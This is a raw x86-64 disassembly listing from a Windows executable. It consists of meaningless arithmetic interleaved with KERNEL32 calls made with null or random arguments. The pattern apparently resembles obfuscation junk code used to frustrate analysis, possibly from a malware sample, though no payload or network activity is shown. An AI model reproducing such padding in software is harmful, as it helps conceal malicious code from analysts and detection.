mov byte [rcx], al
movzx eax, byte [0x140281dcb]
movzx ecx, byte [rsp + 0x737]
sub eax, ecx
mov byte [rsp + 0x653], al
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
mov word [rsp + 0x3048], ax
mov rax, qword [rsp + 0x14bd0]
mov ecx, dword [rsp + 0xa848]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x148d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xab30]
mov dword [rsp + 0xb018], eax
mov eax, dword [rsp + 0x6d50]
mov ecx, dword [rsp + 0xa56c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa878], eax
mov rax, qword [rsp + 0x151e0]
mov ecx, dword [rsp + 0xa9cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaa20], eax
mov eax, dword [rsp + 0xac20]
mov dword [rsp + 0xb01c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa738], eax
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bbc]
sub eax, ecx
mov word [rsp + 0x24e0], ax
movzx eax, byte [rsp + 0x5ba]
mov byte [0x14028eb6c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x15058]
mov rcx, qword [rsp + 0x14ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9c64], eax
mov eax, dword [rsp + 0xa9e0]
mov ecx, dword [rsp + 0xab68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8aac], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov dword [rsp + 0xb020], eax
mov rax, qword [rsp + 0x14840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f54], eax
movzx eax, byte [rsp + 0x713]
movzx ecx, byte [rsp + 0x6ad]
or eax, ecx
mov byte [rsp + 0x6ec], al
movzx eax, word [0x14028280c]
mov word [rsp + 0x304c], ax
movsx eax, word [rsp + 0x2eb8]
movsx ecx, word [rsp + 0x2bb4]
shl eax, cl
mov word [rsp + 0x1d44], ax
movzx ecx, word [rsp + 0x2b58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3050], ax
mov rax, qword [rsp + 0x14968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6cb]
sar eax, cl
mov byte [rsp + 0x2fb], al
movzx ecx, word [rsp + 0x2b44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2fd0], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7b8], eax
mov rcx, qword [rsp + 0x15028]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xb024], eax
mov eax, dword [rsp + 0x674c]
mov ecx, dword [rsp + 0x8c4c]
xor ecx, eax
mov eax, ecx
mov dword [0x14028285c], eax
mov eax, dword [rsp + 0xa5e0]
mov ecx, dword [rsp + 0xaef8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b28]
add eax, ecx
mov word [rsp + 0x2fb0], ax
movzx eax, byte [rsp + 0x733]
mov byte [rsp + 0x75d], al
mov rax, qword [rsp + 0x145b8]
mov ecx, dword [rsp + 0x7700]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14a58]
mov eax, dword [rax]
mov dword [rsp + 0xb028], eax
mov rax, qword [rsp + 0x149c0]
mov ecx, dword [rsp + 0x87fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab14], eax
mov rax, qword [rsp + 0x149c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa600], eax
lea rax, [rsp + 0x2db4]
mov qword [rsp + 0x15320], rax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x712]
add eax, ecx
mov byte [0x140281e8e], al
mov rax, qword [rsp + 0x14378]
mov rcx, qword [rsp + 0x14880]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9d2c], eax
mov edx, 0xef7d
mov rcx, qword [rsp + 0x15268]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa96c], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0x8d88]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7e58], eax
mov rax, qword [rsp + 0x145d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x935c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9ac], eax
mov rax, qword [rsp + 0x147a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6880]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaff0], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov dword [rsp + 0xb02c], eax
mov rax, qword [rsp + 0x15180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2f20]
sar eax, cl
mov word [rsp + 0x2df4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x14678]
movzx eax, byte [rax]
mov byte [rsp + 0x75e], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29f8]
shl eax, cl
mov rcx, qword [rsp + 0x13fb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x656]
mov rcx, qword [rsp + 0x14c38]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14028ed60]
mov byte [rcx], al
mov rax, qword [rsp + 0x14f18]
mov rcx, qword [rsp + 0x14ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9c08], eax
mov rax, qword [rsp + 0x14c08]
mov ecx, dword [rsp + 0x9880]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa978], eax
movzx eax, byte [rsp + 0x6f4]
mov rcx, qword [0x14028ebb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x245], al
lea rax, [rsp + 0x1860]
mov qword [rsp + 0x15328], rax
mov rax, qword [rsp + 0x14578]
mov rcx, qword [rsp + 0x150f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xac3c], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1448
mov r9d, 0x2f51
mov r8d, 0x64a6a304
mov edx, 2
mov rcx, qword [rsp + 0x150e8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xb030], eax
mov eax, dword [rsp + 0xaf38]
mov dword [rsp + 0xb034], eax
mov rax, qword [rsp + 0x144d8]
mov rcx, qword [rsp + 0x14e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaeb0], eax
mov rax, qword [rsp + 0x14c20]
mov ecx, dword [rsp + 0xacdc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa758], eax
mov rax, qword [rsp + 0x14d40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e44]
add eax, ecx
mov word [0x140282724], ax
mov rax, qword [rsp + 0x14890]
movzx eax, byte [rax]
mov byte [rsp + 0x75f], al
lea rcx, [rsp + 0x21b30]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9834]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c64], eax
lea rax, [rsp + 0xaa14]
mov qword [rsp + 0x15330], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0x14db8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x655], al
mov rax, qword [rsp + 0x14530]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14428]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dc8], ax
lea rax, [rsp + 0x2ef0]
mov qword [rsp + 0x15338], rax
movzx eax, byte [rsp + 0x2ea]
mov rcx, qword [rsp + 0x14470]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x704], al
mov rax, qword [rsp + 0x14a18]
mov eax, dword [rax]
mov dword [rsp + 0xb038], eax
mov rcx, qword [rsp + 0x15250]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xb03c], eax
mov eax, dword [0x1402827a0]
mov rcx, qword [rsp + 0x14e90]
mov qword [rsp + 0x15340], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15340]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140282904], eax
mov eax, dword [rsp + 0xa5cc]
movzx ecx, al
mov eax, dword [rsp + 0xa9fc]
sar eax, cl
mov dword [rsp + 0xa5a8], eax
mov rax, qword [rsp + 0x14f18]
mov ecx, dword [rsp + 0xa73c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9744], eax
mov rax, qword [rsp + 0x14cb8]
mov rcx, qword [rsp + 0x146c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa558], eax
movzx eax, word [rsp + 0x19ac]
movzx ecx, word [rsp + 0x2c14]
and eax, ecx
mov word [rsp + 0x2e84], ax
mov rax, qword [rsp + 0x14b20]
movzx eax, byte [rax]
mov byte [rsp + 0x760], al
mov rax, qword [0x14028ecf8]
mov rcx, qword [rsp + 0x14a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa420], eax
mov rax, qword [rsp + 0x14b30]
mov eax, dword [rax]
mov dword [rsp + 0xb040], eax
mov rax, qword [rsp + 0x14f28]
mov rcx, qword [0x14028edd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xafc8], eax
mov eax, dword [rsp + 0x8140]
mov dword [0x14028eb68], eax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6ba]
sub eax, ecx
mov byte [rsp + 0x709], al
movzx eax, word [rsp + 0x1e28]
mov rcx, qword [0x14028ee48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2584], ax
movsx eax, byte [rsp + 0x736]
movsx ecx, byte [rsp + 0x71a]
sub eax, ecx
mov byte [rsp + 0x6e2], al
movzx eax, word [rsp + 0x2c2c]
mov word [rsp + 0x3054], ax
mov rax, qword [rsp + 0x14d50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac1c], eax
mov rax, qword [rsp + 0x14a30]
mov rcx, qword [rsp + 0x140d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad18], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xcdb
mov r9d, 0x26b3
mov r8d, 0x18ad8541
mov edx, 1
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xaddc], eax
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
mov word [rsp + 0x3058], ax
movzx eax, byte [rsp + 0x662]
mov rcx, qword [0x14028ed60]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6c1], al
mov eax, dword [rsp + 0xa80c]
movzx ecx, al
mov eax, dword [rsp + 0xaa94]
shr eax, cl
mov dword [0x1402828e0], eax
mov rax, qword [rsp + 0x144c0]
mov ecx, dword [rsp + 0xa03c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x99c4], eax
mov eax, dword [rsp + 0x6ae4]
mov rcx, qword [rsp + 0x15198]
mov qword [rsp + 0x15348], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15348]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14e50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xace0]
mov ecx, dword [rsp + 0x7ba4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa808], eax
lea rax, [0x14028ec5a]
mov qword [rsp + 0x15350], rax
mov rcx, qword [rsp + 0x14bc8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa29c], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x713]
sub eax, ecx
mov byte [rsp + 0x701], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xaf14]
mov dword [rsp + 0xb044], eax
mov rax, qword [rsp + 0x14c20]
mov ecx, dword [rsp + 0xa7c8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14f98]
mov dword [rcx], eax
mov eax, dword [rsp + 0xad80]
mov dword [rsp + 0xb048], eax
movzx ecx, word [rsp + 0x2fd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2f84], ax
mov rax, qword [rsp + 0x146c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadb0]
and ecx, eax
mov eax, ecx
mov dword [0x140282908], eax
mov eax, dword [0x1402827f8]
mov ecx, dword [rsp + 0x8cec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa804], eax
mov rax, qword [rsp + 0x14678]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x621]
add eax, ecx
mov byte [rsp + 0x720], al
movsx eax, word [rsp + 0x2e1c]
mov rcx, qword [rsp + 0x15180]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x26d8], ax
movzx eax, word [rsp + 0x2dec]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3058], ax
mov rax, qword [rsp + 0x14a90]
movzx eax, byte [rax]
mov byte [rsp + 0x761], al
mov eax, dword [rsp + 0xaaa4]
mov ecx, dword [rsp + 0xa588]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7da8], eax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xade8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c08], eax
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xab24], eax
mov rax, qword [rsp + 0x14d08]
movzx eax, byte [rax]
mov byte [rsp + 0x762], al
movzx eax, word [rsp + 0x3034]
movzx ecx, word [0x14028ed4c]
sub eax, ecx
mov word [0x14028ebd2], ax
mov rax, qword [rsp + 0x14238]
mov rcx, qword [rsp + 0x14880]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x82a8], eax
mov eax, dword [rsp + 0xacd8]
movzx ecx, al
mov eax, dword [rsp + 0xa2cc]
sar eax, cl
mov dword [rsp + 0xa230], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14fc8]
mov rcx, qword [rsp + 0x14d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x140c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaf78]
mov rcx, qword [rsp + 0x14ba8]
mov qword [rsp + 0x15358], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15358]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x148d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov byte [rsp + 0x763], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x14d40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dac]
or eax, ecx
mov word [rsp + 0x1820], ax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov dword [rsp + 0xb04c], eax
mov eax, dword [rsp + 0x76d8]
mov ecx, dword [rsp + 0x95c8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14028ed4e], al
movsx eax, word [rsp + 0x2d20]
movsx ecx, word [rsp + 0x2f98]
sub eax, ecx
mov word [rsp + 0x2d98], ax
mov rax, qword [0x14028ec48]
movzx eax, word [rax]
mov word [rsp + 0x305c], ax
mov rax, qword [rsp + 0x14470]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70d]
and eax, ecx
mov byte [rsp + 0x690], al
lea rax, [rsp + 0xa4ac]
mov qword [rsp + 0x15360], rax
mov rax, qword [rsp + 0x149d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xac0c], eax
mov rax, qword [rsp + 0x15118]
mov ecx, dword [rsp + 0xa7fc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x96cc], eax
mov rax, qword [rsp + 0x150b0]
mov rcx, qword [rsp + 0x149c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3f8], eax
mov rax, qword [rsp + 0x14c20]
mov ecx, dword [rsp + 0x66e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7958], eax
movzx eax, word [rsp + 0x3028]
mov word [rsp + 0x3060], ax
mov rax, qword [rsp + 0x15018]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14878]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281e8f], al
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8188]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14cb8]
mov eax, dword [rax]
mov dword [rsp + 0xb050], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15078]
mov qword [rsp + 0x15368], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15368]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x147a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144a8]
mov rcx, qword [rsp + 0x14ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xabbc], eax
mov rcx, qword [rsp + 0x14398]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x152b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1740]
sar eax, cl
mov word [rsp + 0x2498], ax
mov rax, qword [rsp + 0x14470]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15230]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bac]
mov word [rsp + 0x3064], ax
movsx eax, byte [rsp + 0x3f8]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x619], al
mov eax, dword [rsp + 0x9bac]
mov ecx, dword [rsp + 0xac1c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ece0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xabb8]
mov ecx, dword [rsp + 0xaf8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaadc], eax
movzx eax, word [0x1402828ec]
mov word [rsp + 0x3068], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15120]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x702], al
lea rax, [rsp + 0xaf1c]
mov qword [rsp + 0x15370], rax
mov rax, qword [rsp + 0x151e8]
mov rcx, qword [0x14028ee80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaa4c], eax
mov eax, dword [rsp + 0x8404]
mov ecx, dword [rsp + 0xa890]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6eb0], eax
mov rax, qword [rsp + 0x15098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ba4], eax
movzx eax, word [0x14028edc8]
mov rcx, qword [rsp + 0x14bf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3044], ax
movzx eax, byte [rsp + 0x652]
mov byte [0x14028eb64], al
mov eax, dword [rsp + 0x77b4]
mov dword [rsp + 0xb054], eax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x14f98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa968], eax
mov eax, dword [rsp + 0x7e78]
mov dword [rsp + 0xb058], eax
mov eax, dword [rsp + 0xa98c]
movzx ecx, al
mov eax, dword [rsp + 0x6ec4]
sar eax, cl
mov dword [rsp + 0xaa48], eax
mov eax, dword [rsp + 0x9700]
movzx ecx, al
mov eax, dword [rsp + 0xa8f8]
shl eax, cl
mov dword [rsp + 0xa6c8], eax
mov rax, qword [rsp + 0x143c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x24a0]
or eax, ecx
mov word [rsp + 0x24d0], ax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x736]
xor eax, ecx
mov byte [rsp + 0x2e9], al
movzx eax, byte [rsp + 0x5ba]
mov byte [rsp + 0x764], al
movzx eax, word [rsp + 0x2c00]
movzx ecx, word [rsp + 0x2a4c]
and eax, ecx
mov word [0x14028ec2c], ax
mov rax, qword [rsp + 0x14510]
mov ecx, dword [0x14028ebec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9cb8], eax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x14380]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9590], eax
lea rax, [rsp + 0x1e20]
mov qword [rsp + 0x15378], rax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f9]
add eax, ecx
mov rcx, qword [rsp + 0x14480]
mov byte [rcx], al
lea rax, [rsp + 0xa99c]
mov qword [rsp + 0x15380], rax
mov eax, dword [rsp + 0x8598]
mov ecx, dword [rsp + 0xae10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4c8], eax
mov rax, qword [rsp + 0x144c0]
mov ecx, dword [rsp + 0x9018]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9690], eax
movzx ecx, word [rsp + 0x2e50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ba0], ax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov dword [rsp + 0xb05c], eax
movzx eax, word [rsp + 0x2d94]
movzx ecx, word [rsp + 0x2c44]
and eax, ecx
mov word [0x14028290c], ax
mov rax, qword [0x14028ecd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x394]
add eax, ecx
mov byte [rsp + 0x69c], al
lea rax, [rsp + 0xad28]
mov qword [rsp + 0x15388], rax
mov rax, qword [rsp + 0x14438]
mov ecx, dword [rsp + 0xa6d4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14e08]
mov dword [rcx], eax
movzx eax, byte [0x14028ecb8]
mov byte [rsp + 0x765], al
movsx eax, word [rsp + 0x2ed8]
movsx ecx, word [rsp + 0x2d68]
sub eax, ecx
mov word [rsp + 0x2fa4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x2e5c]
mov rcx, qword [rsp + 0x14758]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2fac], ax
mov rax, qword [rsp + 0x14b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x147c8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x606], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x661
mov r9d, 0x15d3
mov r8d, 0x1d3e43c
mov edx, 2
mov rcx, qword [rsp + 0x15008]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa7f0], eax
mov eax, dword [rsp + 0x77ec]
mov rcx, qword [rsp + 0x14b30]
mov qword [rsp + 0x15390], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15390]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xae30], eax
mov rax, qword [0x14028ecc0]
mov ecx, dword [rsp + 0xa464]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402826b0], eax
mov rax, qword [rsp + 0x15300]
mov eax, dword [rax]
mov dword [rsp + 0xb060], eax
lea rdx, [rsp + 0x23388]
mov rcx, qword [rsp + 0x152c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb064], eax
mov eax, dword [rsp + 0xaf7c]
mov ecx, dword [rsp + 0xa33c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b0], eax
mov eax, dword [rsp + 0x9a1c]
mov ecx, dword [0x14028ed7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b74], eax
movzx eax, word [rsp + 0x2efc]
mov word [rsp + 0x306c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx eax, byte [rsp + 0x743]
mov rcx, qword [rsp + 0x149c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x761], al
mov rax, qword [rsp + 0x15228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa304]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x810c], eax
mov rax, qword [rsp + 0x15168]
mov ecx, dword [rsp + 0xb004]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8920], eax
mov rax, qword [rsp + 0x14aa0]
mov ecx, dword [0x1402826c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xac28], eax
mov rax, qword [rsp + 0x146c0]
mov ecx, dword [rsp + 0xa598]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282910], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xbeb2
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xae08], eax
mov rax, qword [rsp + 0x152b0]
movzx eax, word [rax]
mov word [rsp + 0x3070], ax
mov rax, qword [rsp + 0x14c38]
movzx eax, byte [rax]
movzx ecx, byte [0x140281e1a]
and eax, ecx
mov byte [rsp + 0x718], al
movzx eax, byte [rsp + 0x632]
mov byte [rsp + 0x766], al
movsx eax, word [rsp + 0x2174]
movsx ecx, word [rsp + 0x24d0]
add eax, ecx
mov rcx, qword [rsp + 0x15150]
mov word [rcx], ax
mov rax, qword [rsp + 0x15388]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xad60]
shr eax, cl
mov dword [rsp + 0x9c48], eax
mov rax, qword [rsp + 0x15078]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8a4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c60], eax
movzx eax, byte [rsp + 0x5e9]
movzx ecx, byte [rsp + 0x5c7]
shl eax, cl
mov byte [rsp + 0x684], al
mov rax, qword [rsp + 0x14c90]
movzx eax, word [rax]
mov word [rsp + 0x3074], ax
mov rax, qword [rsp + 0x14ae0]
mov ecx, dword [rsp + 0xaa28]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14028ee30], eax
mov eax, dword [0x140282714]
mov ecx, dword [rsp + 0xa6d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
lea rcx, str.dQM4r9gMOo1DrF_IUSUJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3078], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa894], eax
mov eax, dword [rsp + 0xaef8]
mov dword [rsp + 0xb068], eax
mov rax, qword [rsp + 0x14ef8]
mov rcx, qword [rsp + 0x14ca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad68], eax
movzx eax, byte [rsp + 0x6f0]
movzx ecx, byte [rsp + 0x1ae]
add eax, ecx
mov byte [rsp + 0x653], al
lea rcx, [rsp + 0x24a10]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xab74], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa8c8], eax
mov rax, qword [rsp + 0x15320]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2db4]
sub eax, ecx
mov word [rsp + 0x2a14], ax
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [rsp + 0xa7d4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
